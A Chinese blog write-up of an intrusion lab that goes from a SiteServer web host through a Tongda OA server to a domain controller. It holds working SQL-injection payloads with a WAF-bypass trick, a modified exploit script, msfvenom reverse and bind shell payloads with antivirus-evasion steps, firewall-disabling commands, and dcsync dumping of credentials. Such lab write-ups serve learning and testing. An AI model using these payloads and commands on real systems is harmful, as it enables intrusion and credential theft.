Drunkmars's Blog

vulnhub靶场实战

字数统计: 2.9k阅读时长: 13 min
2021/05/28 229

moonsec项目七靶场实战

环境配置

img

本机ip:192.168.2.161

web

自带iis安全狗、服务器安全狗、windows defender

外网ip:192.168.2.114(桥接)

内网ip:10.10.1.131(VMnet18)

oa

自带360全家桶

内网ip1:10.10.1.130(VMnet18)

内网ip2:10.10.10.166(VMnet19)

dc

内网ip:10.10.10.165(VMnet19)

web机器和本机不能够ping通,但是本机能够访问web机器服务,因为防火墙原因阻断,这里为正常情况

img

img

img

oa系统处能ping通dc,ping不通web,同样为防火墙阻断,正常情况

img

从web机器访问一下oa系统可以访问

img

masscan namp扫描带防火墙的主机

用arp探测工具netdiscover先扫描192.168.2.0段

img

1
masscan -p 1-65535 192.168.2.114 –-rate=100 //--rate参数为线程

img

img

进行host域名绑定

img

访问后传参进去可以看到有安全狗

img

Nmap对对应端口进行扫描

img

img

美化nmap扫描报告

准备mode.xsl

链接:https://pan.baidu.com/s/1SpRrCfL7u_OWkx1CkJe8LQ 提取码:lhmx

1
xsltproc -o attack.html mode.xsl attack-ports.xml

img

img

img

img

编写目录扫描工具绕过防火墙CC拦截

看下web机器上的安全狗的防护日志

img

打开护卫神的web防火墙(抗CC)功能

img

我这里用御剑去扫描后台发现扫描不到

img

回到web容器上发现已经被拦截

img

img

编写dir_safedog.py脚本

img

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


#conding:utf-8



import requests

import time

import sys



with open('word.txt','r',encoding='utf-8') as readfile:

for dirs in readfile.readlines():

url = 'http://www.moonlab.com' + dirs.strip('\n')

resp = requests.get(url)

strlen = len(resp.text)

print(url + '---' + str(resp.status_code) + '---len---' + str(strlen))

time.sleep(0.5)



if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500:

with open('write.txt','a',encoding='utf-8') as writefile:

writefile.write(url + '---' + str(resp.status_code) + '---len---' + str(strlen) + '\n')

img

img

找到登录入口

img

修改siteserver poc得到注入点

寻找对应版本的exp

https://github.com/w-digital-scanner/w9scan/tree/master/plugins/siteserver

img

这里对应版本为2739.py

img

对原始代码进行修改

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/evn python
#-*-:coding:utf-8 -*-
#Author:404
#Name:siteserver最新版3.6.4 sql inject漏洞大礼包of 1
#Refer:http://www.wooyun.org/corps/%E7%99%BE%E5%AE%B9%E5%8D%83%E5%9F%9F%E8%BD%AF%E4%BB%B6%E6%8A%80%E6%9C%AF%E5%BC%80%E5%8F%91%E6%9C%89%E9%99%90%E8%B4%A3%E4%BB%BB%E5%85%AC%E5%8F%B8/page/2

import requests

ps=[
'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
for p in ps:
url = 'http://www.moonlab.com/' + p
res = requests.get(url)

if res.status_code==500 and "GAOJIMicrosoft" in res.text:
print(url)
print(res.text)

运行siteserver.py,得到如下payload可以利用

img

复制payload得出数据库版本

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--

img

绕过iis安全狗进行注入

直接报数据库名拦截

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20db_name()=2;%20--

img

1
2
3
4
5
6
7
8
9
10
11
12
13
这里用到C语言的一个~符号,按位取反



按位取反“~”:按位取反1变0,0变1



~按位取反



5二进制00000101,取反11111010,代表-6

使用按位取反即可绕过

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20db_name()=~2;%20--

img

本地搭建siteserver并连接sql server数据库

img

找到Administrator选择显示前1000行

img

这里的sql语句应该为

1
SELECT TOP 1000 [UserName],[Password],[PasswordFormat],[PasswordSalt],[CreationDate],[LastActivityDate],[LastModuleID],[CountOfLogin],[CreatorUserName],[IsChecked],[IsLockedOut],[PublishmentSystemID],[DepartmentID],[AreaID],[DisplayName],[Question],[Answer],[Email],[Mobile],[Theme],[Language] FROM bairong_Administrator;

直接使用sql语句被拦截

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20db_name(select%20top%201%20username%20from%20bairong_Administrator)=~2;%20--

img

这里加上中括号也被拦截

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and (select top 1 username from [bairong_Administrator])=~1;%20--

img

把~1换位不拦截出现username:admin

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 username from [bairong_Administrator]);%20--

img

爆password:64Cic1ERUP9n2OzxuKl9Tw==

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 password from [bairong_Administrator]);%20--

img

爆加密类型:Encrypted

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 PasswordFormat from [bairong_Administrator]);%20--

img

爆盐值:LIywB/zHFDTuEA1LU53Opg==

1
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and ~1=(select top 1 PasswordSalt from [bairong_Administrator]);%20--

img

dnSpy 反编译dll查找加密解密方法

打开本地目录下的login.aspx进行查看

img

发现这里调用了一个BaiRong.BackgroundPages的dll

img

找到这个dll

img

拖入dnSpy反编译找到Login模块

img

翻了一下没有什么加密模块,继续寻找

img

得到加密算法

img

img

C#编写siteserver密文解密工具

这里我直接跳过,用了师傅们的工具解密得密码为admin5566

img

密码找回漏洞和网站后台getshell

img

用户名为admin

img

密保问题处抓包并置空

img

Forward把包放过去即可得到密码

img

登入后台到站点模板管理

img

先上一个收藏的asp大马,然后被拦了

img

img

然后上了一个过墙马,过是过了但是没有回显,马还在返回不到数据

img

img

最终拿的冰蝎aspx大马成功getshell

img

img

Windows Server2016提权

**信息搜集 **

双网卡user权限

防护:安全狗、IIS安全狗、windows defender

img

img

利用PrintSpoofer提权

https://github.com/itm4n/PrintSpoofer

img

1
PrintSpoofer64.exe -i -c “whoami”

img

msf shellcode 绕过windows defender

msf生成payload

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.161 LPORT=2333 -e x86/shikata_ga_nai -i 15 -f csharp -o payload.txt

img

掩日shellcode加密下载:

https://github.com/1y0n/AV_Evasion_Tool/releases/tag/2.1

img

免杀处理之后上360发现已经不免杀了

image-20210529094943918

这里换了一个cs的免杀马成功上线到cs

image-20210529095016748

新建一个监听派生给msf

image-20210529095055462

hashcat破解web服务器hash

getuidsysinfo看一下基本情况

image-20210529100406960

这里看到meterpreter为x86,需要进行进程迁移,ps看一下

image-20210529100608062

我这里迁移到一个系统进程里

image-20210529100743759

hashdump抓一下hash

image-20210529100902312

load mimikatz,这里之前msf5的时候还有kerberos这个命令,现在变了,help看一下

image-20210529101426964

hashcat配合rockyou.txt字典破解hash

rockyou.txt下载地址:https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

1
hashcat -a 0 -m 1000 hash.txt rockyou.txt 

image-20210529103821320

这里我操作的问题没有弄出来,后面有机会具体学习下hashcat的用法

image-20210529103917258

跨网段横向渗透主机发现

拿到抓到的hash登录远程桌面

image-20210529141307319

手动关掉windows defender

image-20210529141447955

进行本机信息搜集

msf下ifconfig发现为双网卡

image-20210529142032713

arp查看arp缓存

image-20210529142138053

利用icmp协议探测内网存活主机

1
for /l %i in (1,1,255) do @ ping 10.1.1.%i -w 1 -n 1 | find /i "ttl="

这里不知道为什么没有探测到,换一个协议探测一下

image-20210529143512261

利用arp协议进行扫描

1
run arp_scanner -r 10.10.1.0/24

设置代理nmap对跨网段主机端口扫描

使用socks4a模块

image-20210530123353090

配置proxychains.conf

image-20210530123857773

添加10.10.1.0/24的路由

1
2
3
run autoroute -s 10.10.1.0/24

run autoroute -p

image-20210530124203093

用proxychain扫描一下10.10.1.0段主机的80端口

1
proxychains nmap -sT -Pn 10.10.1.130 -p 80

image-20210530124557441

用firefox访问80端口

1
proxychains firefox http://10.10.1.130

image-20210530124817405

proxychains配合nmap对常用端口进行扫描

1
proxychains nmap -sT -Pn 10.10.1.130 -p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open

这里可以看到许多端口开放但是都显示timeout,只有一个80端口能够访问到,可以判断内网主机开了防火墙

image-20210530131804401

通达oa上传漏洞getshell

使用tongda_shell.py

https://github.com/Al1ex/TongDa-RCE

1
proxychains python3 tongda_shell.py http://10.10.1.130/

image-20210530133451419

访问一下能够访问到

image-20210530135624681

在蚁剑上设置代理

image-20210530135919798

添加php测试连接成功

image-20210530140115221

进入文件查看

image-20210530140149124

对通达oa服务器进行信息搜集

上传shell后执行不了命令

image-20210530140804789

这里可以用ipconfig > cmd.txt命令查看

这里我为了方便上传一个php大马上去执行命令

image-20210530140727592

火狐访问下

image-20210530140908561

进入大马进行信息搜集

首先whoami查看权限,system权限

image-20210530141007278

首先看到DNS服务器为attack.local初步判断有内网,后面看到了双网卡存在

image-20210530141121257

image-20210530141218198

查看一下开放的端口,跟之前nmap扫描的情况大致相同

image-20210530141300309

tasklist /svc对比下杀软情况发现有360全家桶

image-20210530141432359

关闭oa系统自带防火墙

这里我在没有关闭firewall之前用nmap连接445端口是连接不到的

image-20210530142357845

命令行关闭windows firewall

1
netsh advfirewall set allprofiles state off

image-20210530142424978

关闭之后即可连接到445端口

image-20210530142447940

msf正向木马过360全家桶

首先msf生成一个正向连接exe

1
msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -f exe > abc.exe

image-20210530203057079

msf开启监听

image-20210530201949265

上传文件到oa系统

image-20210530203139905

运行即可成功弹回session

image-20210530202849445

收集内网域的信息

ifconfig可以看到是双网卡

image-20210530203427001

migrate进行进程迁移后使用hashdump抓取hash

image-20210530203656279

尝试使用mimikatz的msv命令获取明文,这里可以看到明文没有抓出来

image-20210530203833832

net time定位域控

image-20210530210155463

nltest /domain_trusts定位域

image-20210530211919314

net user /domain查看域内用户

image-20210530212024764

net group /domain查看域内用户组

image-20210530212130298

net localgroup administrators /domain查看登陆过主机的管理员

image-20210530212232934

net group "domain controllers" /domain查看域控制器

image-20210530212413222

运用msf内置模块定位域控

1
run post/windows/gather/enum_domain

image-20210530210346871

查看登录的用户

1
run post/windows/gather/enum_logged_on_users 

image-20210530210522162

或者shell直接进入目录下查看

image-20210530210903394

查看组信息

1
run post/windows/gather/enum_ad_groups 

image-20210530211048768

查看域的token

1
run post/windows/gather/enum_domain_tokens

image-20210530211415408

跨网段使用proxychains配合nmap对域控进行端口扫描

这里ps寻找一个域管的进程,我这里选择的是2568,然后使用steal_token 2568提升为域管权限

image-20210530213045157

然后就可以拿到一个域管的shell进程

image-20210530213244402

这里我先exit退出一下用nmap对域控进行端口扫描

rev2self清除当前权限,然后用run autoroute -s 10.10.10.0/24添加一个路由表

image-20210530213554983

使用proxychains配合nmap进行扫描,这里我扫描88、389都能够连接成功说明为域控

image-20210530213813514

继续扫描一些常用端口

1
proxychains nmap -sT -Pn 10.10.10.165 -p 80,88,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389 --open

image-20210530214656598

利用kiwi dcsync_ntlm获取域管理员hash

先加载mimikatz、kiwi,这里需要用到dcsync_ntlm模块,这里没有迁移到域管进程,所以失败

image-20210530215143507

steal_token 3196迁移到域管进程,然后执行dcsync_ntlm administrator获取域管hash

image-20210530220719759

执行dcsync_ntlm krbtgt获取krbtgt用户hash

image-20210530220840737

使用exploit/windows/smb/psexec进行hash传递

image-20210530221052796

这里尝试了下直接用psexec传递不过去

image-20210531194258252

利用sockscap64设置代理登录域控

这里直接拿hash到cmd5官网进行解密得到密码为!@#QWEasd123.

先使用proxychain看登录得上去不

1
proxychain rdesktop 10.10.10.165

image-20210531195556511

这里报错是因为只有windows能够登录远程桌面

image-20210531195705252

这里代理设置为socks4a连接域控

image-20210531201011030

mstsc连接即可

image-20210531201052112

image-20210531201234334

dir当前目录,type flag.txt即可拿到flag

image-20210531201421350

CATALOG
  1. 1. moonsec项目七靶场实战